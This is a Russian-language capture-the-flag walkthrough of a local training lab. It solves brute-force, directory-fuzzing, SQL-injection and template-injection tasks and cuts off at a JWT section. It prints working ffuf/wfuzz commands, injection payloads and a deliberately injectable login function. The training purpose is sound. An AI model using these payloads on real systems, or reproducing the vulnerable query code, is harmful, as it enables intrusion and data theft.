Дорогие друзья, добро пожаловать в нашу веб-лабораторию! Мы создали эту лабораторию с одной целью — помочь начинающим ИБ-специалистам ознакомиться с основными уязвимостяии в веб-приложениях.

Приложение содержит несколько заданий, в каждом из которых реализован некоторый изъян в безопасности (будь то слабый пароль, SQL-инъекция или XXE). Вы смело можете искать нестандартные пути решения, знакомиться с новыми для себя средствами анализа защищённости веб-приложений, пробовать различные полезные нагрузки и, главное, смотреть исходный код, позволяющий увидеть причину возникновения обнаруженной вами уязвимости.

Мы сделали минималистичную борду для сдачи флагов, а это значит, что вы сможете поделиться своими результатами с другими энтузиастами, обсудить интересные находки или поделиться способом решения)

Так что добро пожаловать в FVWA, лабораторию, где мы стараемся создать возможности для всех, кто хочет и стремится стать лучше в сфере веб-безопасности.

Авторы

Данная лаборатория была сделала двумя энтузиастами, желающими внести свой вклад в обучение молодых специалистов, которые только начали свой путь в мире ИБ:

Брутфорс

Цель данной категории заданий состоит в том, чтобы научить начинающего специалиста пользоваться инструментами для перебора паролей (или фаззерами), при этом познакомить его с разницей при передаче данных через GET и POST запросы.

Брутфорс (англ. brute force) — это метод для получения доступа к системе, основанный на переборе всех возможных вариантов паролей или иных значений, используя автоматизированные программы или специальные устройства.

Злоумышленники часто применяют метод брутфорса для атак на системы, которые защищены паролем или PIN-кодом. Иногда брутфорс может использоваться для тестирования уровня безопасности системы. Это может быть полезно для оценки степени сложности взлома системы или для выявления уязвимостей в аутентификационных механизмах.

Существует несколько известных средств, через которые можно осуществлять атаки перебора пароля. Самые популярные из них — hydra и patator, так как они поддерживают огромное количество различныхз протоколов. В рамках тестирования безопасности веб-приложений можно пользоваться фаззерами, так как некоторые из них позволяют осуществлять перебор пароля. Пример таких средств: wfuzz, ffuf, Burp Intruder или Turbo Intruder.

[1] GET брутфорс: can you log in into app?

В HTTP существует 2 основных метода передачи информации от клиента к серверу: GET и POST. GET запрос устанавливает соединение между клиентом (браузер) и сервером веб-приложения. Для передачи данных через GET запрос данные добавляются в URL адрес и отправляются на сервер. Данные передаются в виде пары ключ-значение. Ключ и значение разделяются знаком "=", а разные значения разделяются знаком "&".

Например, если веб-страница формирует GET-запрос с передачей двух параметров "name" и "age" со значениями "John" и "25", URL-адрес такого запроса будет выглядеть следующим образом:

http://www.example.com/index.php?name=John&age=25

Здесь имя параметра - "name", его значение - "John", имя параметра - "age", его значение - "25".

Однако, передача важной информации через GET запрос не всегда безопасна, так как все данные видны в URL и могут быть перехвачены злоумышленником в сети. Поэтому, при передаче чувствительных данных, таких как пароли, банковские данные, номера кредитных карт и т.п., рекомендуется использовать более безопасный метод передачи данных, например, POST запрос.

На примере первого задания мы узнаем, каким образом можно перебрать пароль, который отправляется в GET запросе.

Если мы перейдём на форму авторизации, попробуем ввести 123:123 в поля формы и нажмём на кнопу "Login", то увидим, что введённые нами данные попали в URL:

http://127.0.0.1:5001/getbrute?username=123&password=123

Мы видим, что данные передаются напрямую, поэтому проэксплуатировать в данном случае приложение не составит труда. Я буду использовать ffuf, быстрый и удобный фаззер, написанный на Go. Возникает вопрос, какой логин и пароль использовать?

Ответ прост: всегда смотрите код страницы на предмет оставленных там "подсказок":

<!--Heard something about a safe list. And I love the music charts so much that I've already listened to 100k songs out of a million!-->
<!--TODO: don't forget to add users other than admin!-->

Находим 2 комментария, в которых говорится, что имя пользователя в данном случае admin, а в качестве словаря нужно использовать список из набора SecLists с названием что-то типа "топ 100000 из миллиона". Немного поискав, находим подходящий вариант: xato-net-10-million-passwords-100000.txt

Строка запуска брутфорса будет выглядеть следующим образом:

ffuf -u "http://127.0.0.1:5001/getbrute?username=admin&password=FUZZ" -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt -fs 3965 -t 400 -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTE3IDE5OjU4OjUxLjA2ODkxNyIsInVzZXIiOiJ1c2VyX3pwc2xkaGhvTkwyNXc4MVQiLCJTY29yZSI6MH0.dP3BVsNOHlEQ8N1xOg46x8EplBbOa1NCznsYYtsbcTg" -fc 403

Здесь:

-u — полный URL запроса;
password=FUZZ — ключевое слово FUZZ указывает, что именно сюда в запрос будут подставляться значения из списка;
-w /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt — используемый список для перебора;
-fs 3965 — фильрация неуспешных авторизаций по длине возвращаемого ответа от сервера;
-t 400 — указание использовать 400 потоков для ускорения процесса брутфорса (иногда это может перегружать сервер, использовать этот параметр нужно осторожно);
-b ... — значение куки.

Важно! Если мы запускаем ffuf без параметра -b, то возвращаемый ответ будет длиной 4322 во всех случаях. Это происходит потому, что сервер устанавливает значение cookie score, если не обнаруживает его в запросе. Без этого параметра запрос не доходит до конечной точки, и авторизация безуспешна. Отловить эту особенность работы приложения можно при помощи curl.

В результате работы фаззера получаем несколько вариантов, но подходящий из них только один: musiclover (на что также намекает подсказка в комментраии html). Авторизуемся под полученными данными и забираем первый флаг!

[2] POST брутфорс: can you log in into app again?

Выше мы выяснили недостатки авторизации через GET запрос. Важно отметить, что передаваемые таким образом данные также легко отслеживаются и в логах приложения:

127.0.0.1 - - [17/Jun/2023 20:17:20] "GET /getbrute?username=admin&password=456123q HTTP/1.1" 200 -
127.0.0.1 - - [17/Jun/2023 20:17:20] "GET /getbrute?username=admin&password=4634 HTTP/1.1" 200 -
127.0.0.1 - - [17/Jun/2023 20:17:20] "GET /getbrute?username=admin&password=49merc HTTP/1.1" 200 -
127.0.0.1 - - [17/Jun/2023 20:18:40] "GET /getbrute?username=123&password=123 HTTP/1.1" 200 -

Теперь настало время познакомимся с механизмом авторизации через POST запрос.
POST и GET запросы отличаются друг от друга по следующим параметрам:

1. Значения передаваемых параметров:
GET запрос передает на сервер информацию в параметрах, указанных в URL адресе. POST запрос отправляет данные в теле запроса.

2. Количество передаваемых параметров:
GET запрос передает ограниченное количество (обычно не более 100 символов) информации в URL строке. В то же время, POST запрос может передавать большое количество данных через тело запроса.

3. Кеширование:
GET запрос может быть сохранен в истории браузера и кеше, поэтому может быть вызван повторно. POST запрос не сохраняется в кеше браузера.

4. Безопасность:
GET запросы могут представлять риск безопасности, когда параметры передаются через URL, так как URL-адрес может быть доступен третьим лицам или в логах сервера. POST запросы более безопасны по сравнению с GET запросами.

5. Использование:
GET запросы используются для получения данных от сервера, например, для получения информации из базы данных или для получения данных от API-интерфейсов. POST запросы используются для отправки и обработки форм, загрузки файлов или отправки больших объемов данных на сервер.

В целом, использование POST или GET запросов зависит от специфики задачи, которую нужно решить. Обычно GET запросы используются для простых и небольших запросов, когда нет необходимости передавать большое количество данных. POST запросы используются для передачи большого объема данных и для отправки форм, загрузки файлов на сервер и т.д.

Приступим к практике

Снова изучим страницу авторизации, но в этот раз перехватим запрос при помощи Burp Proxy:

При попытке авторизации клиент отправляет POST запрос с двумя параметрами в теле запроса: username и password. Обращаю внимание, что мы также можем заметить важный заголовок Content-Type, без которого POST запрос не сможет быть адекватно обработан сервером.

Снова ищем подсказки:

<!--I know that our developers love football. They should be told that a password in the top 10,000 is a very bad idea.-->

И снова понимаем, что здесь фигурирет слабый пароль, и список для брутфорса будет сильно меньше, чем в прошлый раз. Но сейчас нам придётся брутить 2 параметра, так как мы не знаем username.

Воспользуемся этим знанием.

Для этой задачи я снова буду использовать ffuf. Строка запуска будет выглядеть следующим образом:

ffuf -u "http://127.0.0.1:5001/postbrute" -X POST -d "username=UFUZZ&password=PFUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:UFUZZ -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt:PFUZZ -fs 3897,3876 -t 1000 -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTE3IDE5OjU4OjUxLjA2ODkxNyIsInVzZXIiOiJ1c2VyX3pwc2xkaGhvTkwyNXc4MVQiLCJTY29yZSI6MH0.dP3BVsNOHlEQ8N1xOg46x8EplBbOa1NCznsYYtsbcTg" -fc 403

В данном случае мы определяем две позиции для фаззинга: первая UFUZZ, вторая PFUZZ. При объявлении словарей мы через двоеточие указываем, какой словарь будет использоваться в конкретной позиции. Также мы определяем метод запроса черех -X POST и обязательно добавляем заголовой "Content-Type: application/x-www-form-urlencoded" при помощи параметра -H в наш запрос, иначе переданные через POST данные не смогут быть адекватно обработаны сервером.

При помощи -fc и -fs настрпиваем параметры фильтрации в приложении и запускаем фаззинг.

Через какое-то время нам возвращается ответ: ansible:newcastle.

Что ж, лучше бы разработчики так же хорошо придумывали сложные пароли, как поддерживают свою любимую футбольную команду.

Авторизуемся в приложении и получаем флаг!

А вот как выглядят логи на стороне веб-сервера:

127.0.0.1 - - [17/Jun/2023 20:49:29] "POST /postbrute HTTP/1.1" 200 -
127.0.0.1 - - [17/Jun/2023 20:49:29] "POST /postbrute HTTP/1.1" 200 -
127.0.0.1 - - [17/Jun/2023 20:49:34] "POST /postbrute HTTP/1.1" 200 -
127.0.0.1 - - [17/Jun/2023 20:49:44] "POST /postbrute HTTP/1.1" 200 -

[3] BASE64 брутфорс: I performed some methods to obfuscate login

Это задание очень похоже на предыдущее, единственное отличие — кодирование передаваемых данных в Base64. Это позволяет чуть усложнить процесс перебора, так как в данном случае нам придётся кодировать в base64 каждый передаваемый пароль. Но это вполне выполнимая задача, особенно для wfuzz.

Изучим форму и найдём 2 комментария:

<!--We will we will rock you!-->
<!--TODO: don't forget to add users other than admin!-->

Становится понятно, что имя пользователя в нашем случае — admin, а пароль нужно брать из словаря rockyou.txt. При этом креды надо закодировать в base64.

wfuzz -z file,rockyou.txt,base64 -d "username=admin&password=FUZZ" --hh 3900 -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTIyIDA1OjE3OjI0Ljc4Mzc4MiIsInVzZXIiOiJ1c2VyX1dXN0FUSDVCZTlFQWZQRmQiLCJTY29yZSI6MH0.aiSNmBSNNtKy58hBn2vYdP-cGUlJe-Nn3Elxo176A8o" --hc 403 http://127.0.0.1:5001/base64brute

Получаем результат:

[4] Фаззинг: I lost the directory with sensitive file. Can you help me?

Это таск отличается по своему содержанию и идее от предыдущих, однако тоже входит в категорию фаззинга. Здесь мы поговорим о поиске скрытого содержимого (директорий, файлов) на веб-сервере, в которых может содержаться очень интересная и чуствительная информация, позволяющая найти дополнительные точки входа, описание API и многое другое. Этот процесс можно назвать одним словом — фаззинг.

Фаззинг директорий на веб-сервере — это процесс автоматизированного исследования веб-приложений путем проверки различных путей и директорий на сервере в поисках скрытых ресурсов, конфиденциальных файлов или уязвимостей в конфигурации сервера.

Основная цель фаззинга директорий состоит в том, чтобы идентифицировать скрытые или защищенные участки веб-приложений, такие как административные панели, резервные копии, файлы с конфиденциальной информацией и другие конфигурационные файлы, которые могут быть доступны на сервере.

Фаззинг директорий может быть использован в целях:

  • Идентификации скрытых страниц или файлов на сервере;

  • Обнаружения доступных важных ресурсов, таких как резервные копии, базы данных, файлы с паролями, логины и другие конфиденциальные данные;

  • Поиска потенциальных уязвимостей в защите сервера, таких как использование слабых паролей или неправильной конфигурации доступа;

  • Повышения безопасности системы путем обнаружения и исправления конфигурационных проблем. Фаззинг директорий обычно выполняется автоматически с использованием инструментов фаззинга, которые генерируют и проверяют различные пути и директории на сервере. Однако, важно быть осторожным при проведении фаззинга директорий, чтобы не нарушить законы или политики безопасности, и убедиться, что проводится только направленное тестирование с разрешения владельца системы.

В качестве практического примера рассмотрим задание 4 нашей лабораторной. Здесь, при переходе на страницу /fuzzing, мы встречаем надпись "Fuzz me". Так как никаких полей и праметров у этой страницы нет, попробуем профаззить директории. Для этого можно использовать несколько инструментов, таких как dirb, dirbuster, gobuster, feroxbuster, ffuf и даже Burp Suite (его Pro версию).

Я же буду пользоваться ffuf в силу его быстроты и гибкости.

Запустить перебор директор и можно следующей командой:

ffuf -u "http://127.0.0.1:5001/fuzzing/FUZZ" -w dirbuster/directory-list-lowercase-2.3-medium.txt -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTIyIDA1OjE3OjI0Ljc4Mzc4MiIsInVzZXIiOiJ1c2VyX1dXN0FUSDVCZTlFQWZQRmQiLCJTY29yZSI6MH0.aiSNmBSNNtKy58hBn2vYdP-cGUlJe-Nn3Elxo176A8o" -t 400 -fc 403

В данном случае в качестве словаря я использую встроенный в kali словарь, идущий в комплекте с утилитой dirbuster. Этот же словарь можно получить, установив seclists на машине.

После достаточно быстрого перебора находим директорию security_info

Переходим по обнаруженному пути и встречаем следующую подсказку:

Запускаем команду, аналогично предыдущей, только в этот раз добавляем параметр и указываем расширение .txt:

ffuf -u "http://127.0.0.1:5001/fuzzing/security_info/FUZZ" -w dirbuster/directory-list-lowercase-2.3-medium.txt -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTIyIDA1OjE3OjI0Ljc4Mzc4MiIsInVzZXIiOiJ1c2VyX1dXN0FUSDVCZTlFQWZQRmQiLCJTY29yZSI6MH0.aiSNmBSNNtKy58hBn2vYdP-cGUlJe-Nn3Elxo176A8o" -t 400 -fc 403 -e .txt

Получаем следующий результат:

Перейдя по обнаруженному пути, мы получим наш флаг.

Фаззинг — важный шаг при анализе любого веб приложения, но нужно учитывать, что этот способ создает огромное количество шума, и в логах сервера вся наша активность будет очень видна:

Перед тем, как начинать "брутить" директории, в первую очередь ознакомьтесь с содержимым сайта, вручную переходя по любым раскрываемым путям. Возможно, этого вполне хватит, чтобы в итоге скомпрометировать веб-сервер.

[5] SQLI: Is it so secure?

SQLI (SQL Injection) - это тип атаки на веб-приложения, при котором злоумышленник может внедрить вредоносный SQL-код или изменить существующие запросы в приложении, которые могут привести к нежелательным или опасным последствиям (обнаружение или модификация конфиденциальных данных, управление базой данных и др.). Уязвимость SQL Injection находится наиболее часто веб-приложениях, которые используют пользовательский ввод в SQL-запросах без должной проверки и экранирования.

Уязвимость SQLI наиболее часто встречается в веб-приложениях, использующих пользовательский ввод, передаваемый напрямую в SQL-запросы, без его должной проверки и экранирования.

Давайте рассмотрим следующий фрагмент кода, отвечающий за процесс авторизации в веб приложении:

def post_login():
    con = sqlite3.connect("some.db")
    cur = con.cursor()
    username = request.form.get('username')
    password = request.form.get('password')
    result = cur.execute(f"SELECT username,password FROM users WHERE username='{username}' and password='{password}'")
    creds = result.fetchall()
    if creds:
        return render_template("profile.html", name=creds[0][0])
    else:
        return render_template("login.html", function="alert", error_message="Invalid credentials")

Здесь в примере в качестве базы данных используется файловая база данных SQLIte. При пользовательском вводе логина и пароля значения, передаваемые в форму авторизации веб-приложения, передаются напрямую в запрос к базе данных без их предварительной обработки (санитизации).

Рассмотрим обычный (не вредоносный) запрос, когда пользователь вводит в качестве имени пользователя и пароля пару user:pass. На бэкенде формируется строка запроса к базе данных, куда встраиваются вводимые пользователем параметры. Итоговый запрос в нашем случае будет выглядеть так:

SELECT username,password FROM users WHERE username='user' AND password='pass';

При обнаружении соответствующей записи в таблице users база данных возвращает непустой результат (за это отвечает часть запроса WHERE ...). Именно возврат такого результата и будет "флагом" для приложения, что запрос валидный и пользователя можно авторизовать.
Но что будет, если пользователь злоупотребит синтаксисом SQL и обманет приложение, заставив приложение авторизовать его без знания логина и пароля? Это становится возможным, поскольку вводимые пользователем данные никак не обрабатываются приложением.

Мы знаем, что для успешной авторизации нам нужно, чтобы база данных вернула хотя бы одну запись. В прошлом примере это была запись, где поле username было равно user, а password — pass. Но злоумышленнику вовсе необязательно знать эту информацию, чтобы обойти форму авторизации. Что будет, если в качестве логина злоумышленник введёт строку "' or 1=1;-- -", а в качестве пароля любую последовательность символов, например, 123? В таком случае на стороне базы данных запрос будет выглядеть следующим образом:

SELECT username,password FROM users WHERE username='' or 1=1;-- -' AND password='pass';

Часть запроса после "-- -" (символы комментария в MySQL) будет просто отброшена, и запрос на самом деле будет выглядеть так:

SELECT username,password FROM users WHERE username='' or 1=1;

Очевидно, что условие "WHERE username='' or 1=1" будет всегда истинным, так как один равно одному. И, следовательно, база данных в ответ на такой запрос вернёт все записи из таблицы users. А мы помним, что даже возврат одной записи будет являться флагом успешной авторизации. Такие образом, не зная логина и пароля, злоумышленник может обойти авторизацию в приложении путем эксплуатации SQL-инъекции.

Последствия эксплуатации уязвимости SQL Injection могут быть серьезными:

  1. Обход аутентификации: злоумышленник может использовать SQL Injection для обхода системы аутентификации и получения доступа к защищенным ресурсам или функциям.

  2. Получение конфиденциальной информации: злоумышленник может использовать SQL Injection для извлечения конфиденциальных данных, таких как данные о пользователях, пароли, данные кредитных карт и другие чувствительные данные.

  3. Уничтожение данных: злоумышленник может использовать SQL Injection для модификации запросов с целью удаления, изменения или изменения данных в базе данных.

  4. Выполнение произвольного кода: с помощью SQL Injection злоумышленник может выполнить произвольный SQL-код на сервере, что может привести к выполнению нежелательных операций, компрометации данных или повреждению системы.

  5. Отказ в обслуживании (DoS): с помощью SQL Injection можно создать специально сформированные запросы, которые вызовут сильную нагрузку на сервер и приведут к отказу в его работе.

  6. Компрометация системы: в некоторых случаях злоумышленники могут использовать SQL Injection для получения полного контроля над системой и запуска дополнительных атак или вредоносных действий на сервере (например, получение RCE через уязвимость SQL Injection).

В нашей наблраторной рассмотрено, по сути, 2 типа SQL-инъекции: Auth Bypass (обход авторизации) и UNION based. Суть первой уязвимости мы уже поняли, а вот вторая уязвимость позволит нам получить доступ к содержимому всей базы данных путем формирования запросов с оператором UNION.

Оператор UNION в SQL используется для объединения результатов двух или более SELECT-запросов в единый результат.

Оператор UNION имеет следующий синтаксис:

SELECT столбцы FROM таблица1
UNION
SELECT столбцы FROM таблица2

Основные характеристики и функции оператора UNION:

  1. Комбинирование результатов запросов: UNION объединяет результаты двух или более SELECT-запросов в один результатовый набор данных. При этом столбцы в результатовых наборах должны быть совместимыми (по количеству и типам данных) — это очень важный момент.

  2. Удаление дубликатов: При использовании оператора UNION, дублирующиеся строки в результатах объединения будут автоматически удалены, оставляя только уникальные строки. Избежать этого можно путем использования UNION ALL SELECT.

  3. Упорядочивание результатов: При необходимости можно добавить оператор ORDER BY для упорядочивания результатов объединения по определенному столбцу или нескольким столбцам.

  4. Поддержка арифметических операций: При использовании оператора UNION, если столбцы в SELECT-запросах можно сравнить и они совместимы по типам данных, можно выполнять арифметические операции над столбцами в результатах объединения.

  5. Необходимость одинаковой структуры: Для успешного объединения запросов с помощью оператора UNION, результаты SELECT-запросов должны иметь одинаковую структуру и порядок столбцов. В случае несоответствия структуры необходимо использовать операторы AS или явное указание столбцов для выравнивания.

Приступим к практике

Переходим по ссылке к заданию 5 и попадаем на страницу с формой авторизации.

Попробуем ввести любые логин и пароль и увидим, что приложение выводит ошибку Incorrect credentials.

Теперь попробуем обойти механизм авторизации тем способом, который ма рассматривали ранее:

Получаем следующий результат:

Как мы видим, приложение нас успешно авторизовало. Причем на странице профиля мы видим имя пользователя, под которым сейчас авторизованы. Наличие этого поля позволяет нам продолжить эксплуатацию инъекции и использовать UNION, чтобы вернуть интересующие нас данные из базы данных.

Первым делом при эксплуатации UNION based инъекции надо составить запрос, в котором количество столбцов будет совпадать с количеством столбцов, возвращаемых базой данных на ответ приложения. При этом тип данных этих столбцов тоже должен совпадать.
Начинаем последовательно вставлять в поле логина следующие строки:

' union select null;-- -
' union select null,null;-- -
' union select null,null,null;-- -

В данном случае уже после второго запроса приложение не вернуло ошибку, авторизовав нас, а значит, что в результирующем запросе возвращается две колонки. После того, как мы узнали количество колонок, давайте посмотрим, какой тип данных они возвращают. Мы знаем, кто как мимимум одна из них имеет строковое значение (имя пользователя), попробуем выяснить, какая именно.

' union select 'test',null;-- -

Получаем следующий результат:

Теперь необходимо распознать СУБД, с которой мы имеем дело. Синтаксис для дальнейшей эксплуатации будет отличаться для разных СУБД, поэтому это знание на данном этапе очень важно. В нашем случае следать это нетрудно, так как у нас простейшая UNION based инъекция, возвращающая строковое значение на экран.

Ниже приведена таблица, в которой показано, какие функции могут помочь вернуть версию БД:

СУБД

Запрос

Oracle

SELECT banner FROM v$version

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

SQLite

SELECT sqlite_version()

На запрос

' union select sqlite_version(),null;-- -

получаем следующий результат:

Теперь мы знаем, что имеем дело с SQLite. Нагрузки для дальнейшей раскрутки SQL-инъекции в SQLite можно найти в этом репозитории.

Определение структуры БД (даёт и имя таблицы, и имя колонок в ней):

' union select sql,null from sqlite_schema limit 1,1-- -
-> Welcome, CREATE TABLE "flag" ("flag_value" TEXT(50))! 

Извлечение имён таблиц в БД:

' union SELECT tbl_name,null FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 0,1 -- -
-> Welcome, flag!

Извлечение структуры таблицы flag (результат аналогичен первому запросу):

' union SELECT sql,null FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'-- -
-> Welcome, CREATE TABLE "flag" ("flag_value" TEXT(50))!

Извлечение flag_value из таблицы flag

' union select flag_value,null from flag-- -

[6] SSTI: this appears to be vulnerable. Can you watch my config?

SSTI (Server-Side Template Injection) - это тип атаки на сервер, который может произойти, когда в user-controlled input (контролоуемый пользователем ввод), передаваемый в шаблонное значение, например, в переменную в шаблоне, можно вставить произвольный код и выполнить его на стороне сервера.

Приведу пример уязвимого кода на примере веб-фреймворка Flask:

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name')
    return render_template('hello.html', name=name)

if __name__ == '__main__':
    app.run()

В данном примере, когда пользователи переходят на страницу /hello и передают значение для параметра name (/hello?name=cherepawwka), оно отображается на странице с использованием шаблона hello.html:

<h1>Hello {{ name }}!</h1>

<h1>Hello cherepawwka!</h1>

Приведенный выше код уязвим к атакам SSTI, поскольку значение переменной name может быть заменено вредоносным содержимым. Например, если пользователь передаст в name значение {{ 1+1 }}, на странице отобразится "Hello 2!" вместо ожидаемого имени.

Последствия эксплуатации уязвимости SSTI могут быть серьезными и иметь широкий спектр последствий:

  1. Утечка данных: SSTI может позволить злоумышленнику получить доступ к конфиденциальным данным, таким как базы данных, файлы системы и другие ресурсы, к которым у него не должно быть доступа.

  2. Выполнение произвольного кода: Злоумышленник может выполнить произвольный код на сервере, что может привести к нарушению безопасности, повреждению данных, злоупотреблению привилегиями и даже полному компрометации сервера.

  3. Отказ в обслуживании (DoS): Злоумышленник может использовать SSTI для запуска эксплойтов, которые приводят к отказу в обслуживании сервера.

  4. Раскрытие файловой системы: SSTI может позволить злоумышленнику получить доступ к файлам на сервере, в том числе конфиденциальным файлам, логам, настройкам и другим системным файлам.

  5. Операции сетевого сканирования: Злоумышленник может использовать SSTI для выполнения операций сканирования сети с целью обнаружения и анализа других уязвимых систем в сети.

  6. Исполнение атак на других пользователей: SSTI может привести к реализации атак типа "кросс-сайтовый скриптинг" (XSS) на других пользователях или перенаправлению пользователей на вредоносные веб-сайты. Помимо этих основных последствий, SSTI может также привести к уязвимостям, специфичным для каждой уязвимой системы и конфигурации сервера.

Приступим к практике. В качестве уязвимой точки в лаборатории используется страница /template/Guest:

Она читает аргумент из URL и встраивает его в страницу, которая генерируется шаблонизатором. Если мы изменим Guest на cherepawwka, то увидим следующий результат:

На этом этапе можно предположить, что приложение все таки использует механизм шаблонов.
Вообще, любая эксплуатация SSTI сводиться к следующем основным шагам:

  • Обнаружение;

  • Идентификация;

  • Эксплуатация.

Давайте пройдемся по каждому из них.

Обнаружение

Первый шаг к эксплуатации уязвимости — это ее обнаружение. Самый простой способ обнаружить уязвимость — профаззить предполагаемый шаблон, внедрив последовательность специальных символов, обычно используемых в выражениях шаблона. Путем внедрения полезной нагрузки ${{<%[%'"}}%\ (так называемый полиглот) очень легко выяснить, уязвим ли шаблон. В случае, если на такой запрос сервер возвращает ошибку, то скорее всего он уязвим к SSTI.

Идентификация SSTI

После того, как уязвимость обнаружена, следующим шагом будет распознавание механизма шаблонизатора. Так как разные шаблонизаторы используют разный синтаксис (например, ${} или {{}} для подстановки выражения), мы можем определить, какой именно шаблонизатор используется на сервере. Если обратиться к PortSwigger, то можно обнаружить диаграму, которая демонстрирует последовательность обнаружения механизма шаблонизации.

Ей мы и воспользуемся.

Делаем первый запрос:
/template/$%7B7*7%7D
В результате получаем на странице следующий результат: Hello ${7*7}!. Так как нагрузка отобразилась в первозданном виде на странице, инъекция не сработала, а это значит, что мы идем по красной стрелочке на диаграмме.

Делаем второй запрос:
/template/%7B%7B7*7%7D%7D
Результат нас удивляет: Hello 49!

Следовательно, приложение уязвимо, и осталось сделать третий запрос согласно вышепредставленной диаграмме:
/template/%7B%7B7*'7'%7D%7D
Результат: Hello 7777777!

На этом этапе, если судить по диаграмме, мы имеем дело с одним из двух механизмов шаблонизации: Jinja2 или Twig. Но результат из семи семёрок при запросе {{7*'7'}} отдает именно Jinja2, в то время как Twig возвращает число 49.

Эксплуатация

Распознав уязвимость и механизм шаблонов, приступаем к её эксплуатации!
Нам нужно всего лишь вывести конфигурацию (что известно из описания задания: "Can you watch my config?"). При попытке раскрутить уязвимость до RCE нас ждёт неудача: попытки блокируются WAF. Но RCE нам и не нужно, поэтому забираем конфиг, где находим флаг и ключ для шифрования JWT, благодаря следующему запросу:
/template/%7B%7Bconfig%7D%7D

[7] JWT: maybe task 6 will help you to gain restricted area?

JWT (JSON Web Token) — это формат токена для передачи информации между клиент-серверным приложениями в виде JSON-объекта. Он состоит из трех частей: заголовка, полезной нагрузки и подписи.

JWT используется для аутентификации и авторизации пользователей и обмена данными между приложениями. Токен содержит информацию о пользователе и его правах доступа к ресурсам в системе, а также цифровую подпись, которая гарантирует подлинность токена и защиту его от изменений. Использование JWT позволяет увеличить скорость и производительность приложений, а также обеспечить безопасность передачи данных.

Может возникнуть вопрос, почему же просто не использовать cookies?

Важным отличием между JWT и cookies является то, что JWT не хранится на стороне сервера и не требует дополнительных запросов при каждом запросе к API-ресурсам, в то время как cookies хранятся на сервере и отправляются клиенту при каждом запросе. Также JWT может передавать в своём теле важную с точки зрения работы приложения информацию, в том числе данные для реализации механизма контроля доступа. "Хорошие" (не admin=true) куки такими возможностями не обладают.

Пример JWT токена:

